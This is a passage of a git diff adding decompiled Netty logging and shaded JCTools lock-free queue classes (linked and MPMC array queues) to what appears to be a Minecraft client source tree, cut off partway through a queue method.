+  {
+    logger.trace(format, argA, argB);
+  }
+  
+  public void trace(String format, Object... argArray)
+  {
+    logger.trace(format, argArray);
+  }
+  
+  public void trace(String msg, Throwable t)
+  {
+    logger.trace(msg, t);
+  }
+  
+  public boolean isDebugEnabled()
+  {
+    return logger.isDebugEnabled();
+  }
+  
+  public void debug(String msg)
+  {
+    logger.debug(msg);
+  }
+  
+  public void debug(String format, Object arg)
+  {
+    logger.debug(format, arg);
+  }
+  
+  public void debug(String format, Object argA, Object argB)
+  {
+    logger.debug(format, argA, argB);
+  }
+  
+  public void debug(String format, Object... argArray)
+  {
+    logger.debug(format, argArray);
+  }
+  
+  public void debug(String msg, Throwable t)
+  {
+    logger.debug(msg, t);
+  }
+  
+  public boolean isInfoEnabled()
+  {
+    return logger.isInfoEnabled();
+  }
+  
+  public void info(String msg)
+  {
+    logger.info(msg);
+  }
+  
+  public void info(String format, Object arg)
+  {
+    logger.info(format, arg);
+  }
+  
+  public void info(String format, Object argA, Object argB)
+  {
+    logger.info(format, argA, argB);
+  }
+  
+  public void info(String format, Object... argArray)
+  {
+    logger.info(format, argArray);
+  }
+  
+  public void info(String msg, Throwable t)
+  {
+    logger.info(msg, t);
+  }
+  
+  public boolean isWarnEnabled()
+  {
+    return logger.isWarnEnabled();
+  }
+  
+  public void warn(String msg)
+  {
+    logger.warn(msg);
+  }
+  
+  public void warn(String format, Object arg)
+  {
+    logger.warn(format, arg);
+  }
+  
+  public void warn(String format, Object... argArray)
+  {
+    logger.warn(format, argArray);
+  }
+  
+  public void warn(String format, Object argA, Object argB)
+  {
+    logger.warn(format, argA, argB);
+  }
+  
+  public void warn(String msg, Throwable t)
+  {
+    logger.warn(msg, t);
+  }
+  
+  public boolean isErrorEnabled()
+  {
+    return logger.isErrorEnabled();
+  }
+  
+  public void error(String msg)
+  {
+    logger.error(msg);
+  }
+  
+  public void error(String format, Object arg)
+  {
+    logger.error(format, arg);
+  }
+  
+  public void error(String format, Object argA, Object argB)
+  {
+    logger.error(format, argA, argB);
+  }
+  
+  public void error(String format, Object... argArray)
+  {
+    logger.error(format, argArray);
+  }
+  
+  public void error(String msg, Throwable t)
+  {
+    logger.error(msg, t);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/Slf4JLoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/Slf4JLoggerFactory.java
new file mode 100644
index 0000000..d570fe2
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/Slf4JLoggerFactory.java
@@ -0,0 +1,69 @@
+package io.netty.util.internal.logging;
+
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.io.UnsupportedEncodingException;
+import org.slf4j.LoggerFactory;
+import org.slf4j.helpers.NOPLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Slf4JLoggerFactory
+  extends InternalLoggerFactory
+{
+  public Slf4JLoggerFactory() {}
+  
+  Slf4JLoggerFactory(boolean failIfNOP)
+  {
+    assert (failIfNOP);
+    
+
+
+    final StringBuffer buf = new StringBuffer();
+    PrintStream err = System.err;
+    try {
+      System.setErr(new PrintStream(new OutputStream()
+      {
+
+        public void write(int b) { buf.append((char)b); } }, true, "US-ASCII"));
+    }
+    catch (UnsupportedEncodingException e)
+    {
+      throw new Error(e);
+    }
+    try
+    {
+      if ((LoggerFactory.getILoggerFactory() instanceof NOPLoggerFactory)) {
+        throw new NoClassDefFoundError(buf.toString());
+      }
+      err.print(buf);
+      err.flush();
+    }
+    finally {
+      System.setErr(err);
+    }
+  }
+  
+  public InternalLogger newInstance(String name)
+  {
+    return new Slf4JLogger(LoggerFactory.getLogger(name));
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueue.java
new file mode 100644
index 0000000..908bd1f
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueue.java
@@ -0,0 +1,243 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class BaseLinkedQueue<E>
+  extends BaseLinkedQueueConsumerNodeRef<E>
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  BaseLinkedQueue() {}
+  
+  public final Iterator<E> iterator()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final int size()
+  {
+    LinkedQueueNode<E> chaserNode = lvConsumerNode();
+    LinkedQueueNode<E> producerNode = lvProducerNode();
+    int size = 0;
+    
+
+    while ((chaserNode != producerNode) && (chaserNode != null) && (size < Integer.MAX_VALUE))
+    {
+      LinkedQueueNode<E> next = chaserNode.lvNext();
+      
+      if (next == chaserNode) {
+        next = lvConsumerNode();
+      }
+      chaserNode = next;
+      size++;
+    }
+    return size;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final boolean isEmpty()
+  {
+    return lvConsumerNode() == lvProducerNode();
+  }
+  
+  public int capacity()
+  {
+    return -1;
+  }
+  
+  protected E getSingleConsumerNodeValue(LinkedQueueNode<E> currConsumerNode, LinkedQueueNode<E> nextNode)
+  {
+    E nextValue = nextNode.getAndNullValue();
+    
+
+
+
+    currConsumerNode.soNext(currConsumerNode);
+    spConsumerNode(nextNode);
+    
+    return nextValue;
+  }
+  
+  public E relaxedPoll()
+  {
+    LinkedQueueNode<E> currConsumerNode = lpConsumerNode();
+    LinkedQueueNode<E> nextNode = currConsumerNode.lvNext();
+    if (nextNode != null) {
+      return getSingleConsumerNodeValue(currConsumerNode, nextNode);
+    }
+    return null;
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c)
+  {
+    long result = 0L;
+    int drained;
+    do {
+      drained = drain(c, 4096);
+      result += drained;
+    } while ((drained == 4096) && (result <= 2147479551L));
+    return (int)result;
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c, int limit)
+  {
+    LinkedQueueNode<E> chaserNode = consumerNode;
+    for (int i = 0; i < limit; i++) {
+      LinkedQueueNode<E> nextNode = chaserNode.lvNext();
+      
+      if (nextNode == null) {
+        return i;
+      }
+      
+      E nextValue = getSingleConsumerNodeValue(chaserNode, nextNode);
+      chaserNode = nextNode;
+      c.accept(nextValue);
+    }
+    return limit;
+  }
+  
+  public void drain(MessagePassingQueue.Consumer<E> c, MessagePassingQueue.WaitStrategy wait, MessagePassingQueue.ExitCondition exit)
+  {
+    LinkedQueueNode<E> chaserNode = consumerNode;
+    int idleCounter = 0;
+    while (exit.keepRunning()) {
+      for (int i = 0; i < 4096; i++) {
+        LinkedQueueNode<E> nextNode = chaserNode.lvNext();
+        if (nextNode == null) {
+          idleCounter = wait.idle(idleCounter);
+        }
+        else
+        {
+          idleCounter = 0;
+          
+          E nextValue = getSingleConsumerNodeValue(chaserNode, nextNode);
+          chaserNode = nextNode;
+          c.accept(nextValue);
+        }
+      }
+    }
+  }
+  
+  public E relaxedPeek() {
+    LinkedQueueNode<E> currConsumerNode = consumerNode;
+    LinkedQueueNode<E> nextNode = currConsumerNode.lvNext();
+    if (nextNode != null) {
+      return nextNode.lpValue();
+    }
+    return null;
+  }
+  
+  public boolean relaxedOffer(E e)
+  {
+    return offer(e);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueConsumerNodeRef.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueConsumerNodeRef.java
new file mode 100644
index 0000000..4dd70be
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueConsumerNodeRef.java
@@ -0,0 +1,89 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class BaseLinkedQueueConsumerNodeRef<E>
+  extends BaseLinkedQueuePad1<E>
+{
+  protected static final long C_NODE_OFFSET;
+  protected LinkedQueueNode<E> consumerNode;
+  
+  static
+  {
+    try
+    {
+      C_NODE_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(BaseLinkedQueueConsumerNodeRef.class.getDeclaredField("consumerNode"));
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  protected final void spConsumerNode(LinkedQueueNode<E> node)
+  {
+    consumerNode = node;
+  }
+  
+  protected final LinkedQueueNode<E> lvConsumerNode()
+  {
+    return (LinkedQueueNode)UnsafeAccess.UNSAFE.getObjectVolatile(this, C_NODE_OFFSET);
+  }
+  
+  protected final LinkedQueueNode<E> lpConsumerNode() {
+    return consumerNode;
+  }
+  
+  BaseLinkedQueueConsumerNodeRef() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad0.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad0.java
new file mode 100644
index 0000000..f5ef4d5
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad0.java
@@ -0,0 +1,26 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import java.util.AbstractQueue;
+
+abstract class BaseLinkedQueuePad0<E>
+  extends AbstractQueue<E>
+  implements MessagePassingQueue<E>
+{
+  long p00;
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  
+  BaseLinkedQueuePad0() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad1.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad1.java
new file mode 100644
index 0000000..24eb494
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueuePad1.java
@@ -0,0 +1,23 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+abstract class BaseLinkedQueuePad1<E>
+  extends BaseLinkedQueueProducerNodeRef<E>
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  BaseLinkedQueuePad1() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueProducerNodeRef.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueProducerNodeRef.java
new file mode 100644
index 0000000..90b1504
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/BaseLinkedQueueProducerNodeRef.java
@@ -0,0 +1,55 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class BaseLinkedQueueProducerNodeRef<E>
+  extends BaseLinkedQueuePad0<E>
+{
+  protected static final long P_NODE_OFFSET;
+  protected LinkedQueueNode<E> producerNode;
+  
+  static
+  {
+    try
+    {
+      P_NODE_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(BaseLinkedQueueProducerNodeRef.class.getDeclaredField("producerNode"));
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  protected final void spProducerNode(LinkedQueueNode<E> node)
+  {
+    producerNode = node;
+  }
+  
+  protected final LinkedQueueNode<E> lvProducerNode()
+  {
+    return (LinkedQueueNode)UnsafeAccess.UNSAFE.getObjectVolatile(this, P_NODE_OFFSET);
+  }
+  
+  protected final LinkedQueueNode<E> lpProducerNode() {
+    return producerNode;
+  }
+  
+  BaseLinkedQueueProducerNodeRef() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/CircularArrayOffsetCalculator.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/CircularArrayOffsetCalculator.java
new file mode 100644
index 0000000..f3ea912
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/CircularArrayOffsetCalculator.java
@@ -0,0 +1,22 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+
+public final class CircularArrayOffsetCalculator
+{
+  private CircularArrayOffsetCalculator() {}
+  
+  public static <E> E[] allocate(int capacity)
+  {
+    return (Object[])new Object[capacity];
+  }
+  
+
+
+
+
+  public static long calcElementOffset(long index, long mask)
+  {
+    return UnsafeRefArrayAccess.REF_ARRAY_BASE + ((index & mask) << UnsafeRefArrayAccess.REF_ELEMENT_SHIFT);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueue.java
new file mode 100644
index 0000000..0efa47e
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueue.java
@@ -0,0 +1,85 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.Pow2;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ConcurrentCircularArrayQueue<E>
+  extends ConcurrentCircularArrayQueueL0Pad<E>
+{
+  protected final long mask;
+  protected final E[] buffer;
+  
+  public ConcurrentCircularArrayQueue(int capacity)
+  {
+    int actualCapacity = Pow2.roundToPowerOfTwo(capacity);
+    mask = (actualCapacity - 1);
+    buffer = SparsePaddedCircularArrayOffsetCalculator.allocate(actualCapacity);
+  }
+  
+
+
+
+  protected final long calcElementOffset(long index)
+  {
+    return calcElementOffset(index, mask);
+  }
+  
+
+
+
+
+  protected static long calcElementOffset(long index, long mask)
+  {
+    return SparsePaddedCircularArrayOffsetCalculator.calcElementOffset(index, mask);
+  }
+  
+  public Iterator<E> iterator()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void clear()
+  {
+    while ((poll() != null) || (!isEmpty())) {}
+  }
+  
+
+  public int capacity()
+  {
+    return (int)(mask + 1L);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueueL0Pad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueueL0Pad.java
new file mode 100644
index 0000000..a2fc76f
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentCircularArrayQueueL0Pad.java
@@ -0,0 +1,26 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import java.util.AbstractQueue;
+
+abstract class ConcurrentCircularArrayQueueL0Pad<E>
+  extends AbstractQueue<E>
+  implements MessagePassingQueue<E>
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  ConcurrentCircularArrayQueueL0Pad() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentSequencedCircularArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentSequencedCircularArrayQueue.java
new file mode 100644
index 0000000..13f5348
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/ConcurrentSequencedCircularArrayQueue.java
@@ -0,0 +1,63 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.JvmInfo;
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+public abstract class ConcurrentSequencedCircularArrayQueue<E>
+  extends ConcurrentCircularArrayQueue<E>
+{
+  private static final long ARRAY_BASE;
+  private static final int ELEMENT_SHIFT;
+  protected static final int SEQ_BUFFER_PAD;
+  protected final long[] sequenceBuffer;
+  
+  static
+  {
+    int scale = UnsafeAccess.UNSAFE.arrayIndexScale([J.class);
+    if (8 == scale) {
+      ELEMENT_SHIFT = 3 + SparsePaddedCircularArrayOffsetCalculator.SPARSE_SHIFT;
+    } else {
+      throw new IllegalStateException("Unexpected long[] element size");
+    }
+    
+    SEQ_BUFFER_PAD = JvmInfo.CACHE_LINE_SIZE * 2 / scale;
+    
+    ARRAY_BASE = UnsafeAccess.UNSAFE.arrayBaseOffset([J.class) + SEQ_BUFFER_PAD * scale;
+  }
+  
+  public ConcurrentSequencedCircularArrayQueue(int capacity)
+  {
+    super(capacity);
+    int actualCapacity = (int)(mask + 1L);
+    
+    sequenceBuffer = new long[(actualCapacity << SparsePaddedCircularArrayOffsetCalculator.SPARSE_SHIFT) + SEQ_BUFFER_PAD * 2];
+    
+    for (long i = 0L; i < actualCapacity; i += 1L) {
+      soSequence(sequenceBuffer, calcSequenceOffset(i), i);
+    }
+  }
+  
+  protected final long calcSequenceOffset(long index) {
+    return calcSequenceOffset(index, mask);
+  }
+  
+  protected static long calcSequenceOffset(long index, long mask) { return ARRAY_BASE + ((index & mask) << ELEMENT_SHIFT); }
+  
+  protected final void soSequence(long[] buffer, long offset, long e) {
+    UnsafeAccess.UNSAFE.putOrderedLong(buffer, offset, e);
+  }
+  
+  protected final long lvSequence(long[] buffer, long offset) {
+    return UnsafeAccess.UNSAFE.getLongVolatile(buffer, offset);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/LinkedQueueNode.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/LinkedQueueNode.java
new file mode 100644
index 0000000..07bae46
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/LinkedQueueNode.java
@@ -0,0 +1,64 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+final class LinkedQueueNode<E>
+{
+  private static final long NEXT_OFFSET;
+  private E value;
+  private volatile LinkedQueueNode<E> next;
+  
+  static
+  {
+    try
+    {
+      NEXT_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(LinkedQueueNode.class.getDeclaredField("next"));
+    } catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  LinkedQueueNode()
+  {
+    this(null);
+  }
+  
+  LinkedQueueNode(E val) {
+    spValue(val);
+  }
+  
+
+
+
+
+  public E getAndNullValue()
+  {
+    E temp = lpValue();
+    spValue(null);
+    return temp;
+  }
+  
+  public E lpValue() {
+    return value;
+  }
+  
+  public void spValue(E newValue) {
+    value = newValue;
+  }
+  
+  public void soNext(LinkedQueueNode<E> n) {
+    UnsafeAccess.UNSAFE.putOrderedObject(this, NEXT_OFFSET, n);
+  }
+  
+  public LinkedQueueNode<E> lvNext() {
+    return next;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MessagePassingQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MessagePassingQueue.java
new file mode 100644
index 0000000..8250f93
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MessagePassingQueue.java
@@ -0,0 +1,58 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+public abstract interface MessagePassingQueue<T>
+{
+  public static final int UNBOUNDED_CAPACITY = -1;
+  
+  public abstract boolean offer(T paramT);
+  
+  public abstract T poll();
+  
+  public abstract T peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int capacity();
+  
+  public abstract boolean relaxedOffer(T paramT);
+  
+  public abstract T relaxedPoll();
+  
+  public abstract T relaxedPeek();
+  
+  public abstract int drain(Consumer<T> paramConsumer);
+  
+  public abstract int fill(Supplier<T> paramSupplier);
+  
+  public abstract int drain(Consumer<T> paramConsumer, int paramInt);
+  
+  public abstract int fill(Supplier<T> paramSupplier, int paramInt);
+  
+  public abstract void drain(Consumer<T> paramConsumer, WaitStrategy paramWaitStrategy, ExitCondition paramExitCondition);
+  
+  public abstract void fill(Supplier<T> paramSupplier, WaitStrategy paramWaitStrategy, ExitCondition paramExitCondition);
+  
+  public static abstract interface ExitCondition
+  {
+    public abstract boolean keepRunning();
+  }
+  
+  public static abstract interface WaitStrategy
+  {
+    public abstract int idle(int paramInt);
+  }
+  
+  public static abstract interface Consumer<T>
+  {
+    public abstract void accept(T paramT);
+  }
+  
+  public static abstract interface Supplier<T>
+  {
+    public abstract T get();
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueue.java
new file mode 100644
index 0000000..0c1b8d4
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueue.java
@@ -0,0 +1,430 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.JvmInfo;
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MpmcArrayQueue<E>
+  extends MpmcArrayQueueConsumerField<E>
+  implements QueueProgressIndicators
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  static final int RECOMENDED_POLL_BATCH = JvmInfo.CPUs * 4;
+  static final int RECOMENDED_OFFER_BATCH = JvmInfo.CPUs * 4;
+  
+  public MpmcArrayQueue(int capacity) { super(validateCapacity(capacity)); }
+  
+  private static int validateCapacity(int capacity)
+  {
+    if (capacity < 2)
+      throw new IllegalArgumentException("Minimum size is 2");
+    return capacity;
+  }
+  
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    long mask = this.mask;
+    long capacity = mask + 1L;
+    long[] sBuffer = sequenceBuffer;
+    
+
+
+
+    long cIndex = Long.MAX_VALUE;
+    long pIndex;
+    long seqOffset; long seq; do { pIndex = lvProducerIndex();
+      seqOffset = calcSequenceOffset(pIndex, mask);
+      seq = lvSequence(sBuffer, seqOffset);
+      if (seq < pIndex) {
+        if ((pIndex - capacity <= cIndex) && 
+          (pIndex - capacity <= (cIndex = lvConsumerIndex())))
+        {
+          return false;
+        }
+        seq = pIndex + 1L;
+      }
+      
+    } while ((seq > pIndex) || 
+      (!casProducerIndex(pIndex, pIndex + 1L)));
+    
+    assert (null == UnsafeRefArrayAccess.lpElement(buffer, calcElementOffset(pIndex, mask)));
+    UnsafeRefArrayAccess.soElement(buffer, calcElementOffset(pIndex, mask), e);
+    soSequence(sBuffer, seqOffset, pIndex + 1L);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public E poll()
+  {
+    long[] sBuffer = sequenceBuffer;
+    long mask = this.mask;
+    
+
+
+
+
+    long pIndex = -1L;
+    long cIndex;
+    long seqOffset; long seq; long expectedSeq; do { cIndex = lvConsumerIndex();
+      seqOffset = calcSequenceOffset(cIndex, mask);
+      seq = lvSequence(sBuffer, seqOffset);
+      expectedSeq = cIndex + 1L;
+      if (seq < expectedSeq) {
+        if ((cIndex >= pIndex) && 
+          (cIndex == (pIndex = lvProducerIndex())))
+        {
+          return null;
+        }
+        seq = expectedSeq + 1L;
+      }
+      
+    } while ((seq > expectedSeq) || 
+      (!casConsumerIndex(cIndex, cIndex + 1L)));
+    
+    long offset = calcElementOffset(cIndex, mask);
+    E e = UnsafeRefArrayAccess.lpElement(buffer, offset);
+    assert (e != null);
+    UnsafeRefArrayAccess.soElement(buffer, offset, null);
+    soSequence(sBuffer, seqOffset, cIndex + mask + 1L);
+    return e;
+  }
+  
+  public E peek()
+  {
+    long cIndex;
+    E e;
+    do {
+      cIndex = lvConsumerIndex();
+      
+      e = UnsafeRefArrayAccess.lpElement(buffer, calcElementOffset(cIndex));
+    }
+    while ((e == null) && (cIndex != lvProducerIndex()));
+    return e;
+  }
+  
+
+
+
+
+
+
+  public int size()
+  {
+    long after = lvConsumerIndex();
+    for (;;) {
+      long before = after;
+      long currentProducerIndex = lvProducerIndex();
+      after = lvConsumerIndex();
+      if (before == after) {
+        return (int)(currentProducerIndex - after);
+      }
+    }
+  }
+  
+
+
+
+
+  public boolean isEmpty()
+  {
+    return lvConsumerIndex() == lvProducerIndex();
+  }
+  
+  public long currentProducerIndex()
+  {
+    return lvProducerIndex();
+  }
+  
+  public long currentConsumerIndex()
+  {
+    return lvConsumerIndex();
+  }
+  
+  public boolean relaxedOffer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    long mask = this.mask;
+    long[] sBuffer = sequenceBuffer;
+    long pIndex;
+    long seqOffset;
+    long seq;
+    do
+    {
+      pIndex = lvProducerIndex();
+      seqOffset = calcSequenceOffset(pIndex, mask);
+      seq = lvSequence(sBuffer, seqOffset);
+      if (seq < pIndex) {
+        return false;
+      }
+    } while ((seq > pIndex) || 
+      (!casProducerIndex(pIndex, pIndex + 1L)));
+    
+    UnsafeRefArrayAccess.soElement(buffer, calcElementOffset(pIndex, mask), e);
+    soSequence(sBuffer, seqOffset, pIndex + 1L);
+    return true;
+  }
+  
+  public E relaxedPoll()
+  {
+    long[] sBuffer = sequenceBuffer;
+    long mask = this.mask;
+    long cIndex;
+    long seqOffset;
+    long seq;
+    long expectedSeq;
+    do
+    {
+      cIndex = lvConsumerIndex();
+      seqOffset = calcSequenceOffset(cIndex, mask);
+      seq = lvSequence(sBuffer, seqOffset);
+      expectedSeq = cIndex + 1L;
+      if (seq < expectedSeq) {
+        return null;
+      }
+    } while ((seq > expectedSeq) || 
+      (!casConsumerIndex(cIndex, cIndex + 1L)));
+    
+    long offset = calcElementOffset(cIndex, mask);
+    E e = UnsafeRefArrayAccess.lpElement(buffer, offset);
+    UnsafeRefArrayAccess.soElement(buffer, offset, null);
+    soSequence(sBuffer, seqOffset, cIndex + mask + 1L);
+    return e;
+  }
+  
+  public E relaxedPeek()
+  {
+    long currConsumerIndex = lvConsumerIndex();
+    return UnsafeRefArrayAccess.lpElement(buffer, calcElementOffset(currConsumerIndex));
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c)
+  {
+    int capacity = capacity();
+    int sum = 0;
+    while (sum < capacity) {
+      int drained = 0;
+      if ((drained = drain(c, RECOMENDED_POLL_BATCH)) == 0) {
+        break;
+      }
+      sum += drained;
+    }
+    return sum;
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s)
+  {
+    long result = 0L;
+    int capacity = capacity();
+    do {
+      int filled = fill(s, RECOMENDED_OFFER_BATCH);
+      if (filled == 0) {
+        return (int)result;
+      }
+      result += filled;
+    } while (result <= capacity);
+    return (int)result;
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c, int limit)
+  {
+    long[] sBuffer = sequenceBuffer;
+    long mask = this.mask;
+    E[] buffer = this.buffer;
+    
+
+
+
+
+    for (int i = 0; i < limit; i++) { long cIndex;
+      long seqOffset;
+      long seq; long expectedSeq; do { cIndex = lvConsumerIndex();
+        seqOffset = calcSequenceOffset(cIndex, mask);
+        seq = lvSequence(sBuffer, seqOffset);
+        expectedSeq = cIndex + 1L;
+        if (seq < expectedSeq) {
+          return i;
+        }
+      } while ((seq > expectedSeq) || 
+        (!casConsumerIndex(cIndex, cIndex + 1L)));
+      
+      long offset = calcElementOffset(cIndex, mask);
+      E e = UnsafeRefArrayAccess.lpElement(buffer, offset);
+      UnsafeRefArrayAccess.soElement(buffer, offset, null);
+      soSequence(sBuffer, seqOffset, cIndex + mask + 1L);
+      c.accept(e);
+    }
+    return limit;
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s, int limit)
+  {
+    long[] sBuffer = sequenceBuffer;
+    long mask = this.mask;
+    E[] buffer = this.buffer;
+    
+
+
+
+    for (int i = 0; i < limit; i++) { long pIndex;
+      long seqOffset;
+      long seq; do { pIndex = lvProducerIndex();
+        seqOffset = calcSequenceOffset(pIndex, mask);
+        seq = lvSequence(sBuffer, seqOffset);
+        if (seq < pIndex) {
+          return i;
+        }
+      } while ((seq > pIndex) || 
+        (!casProducerIndex(pIndex, pIndex + 1L)));
+      
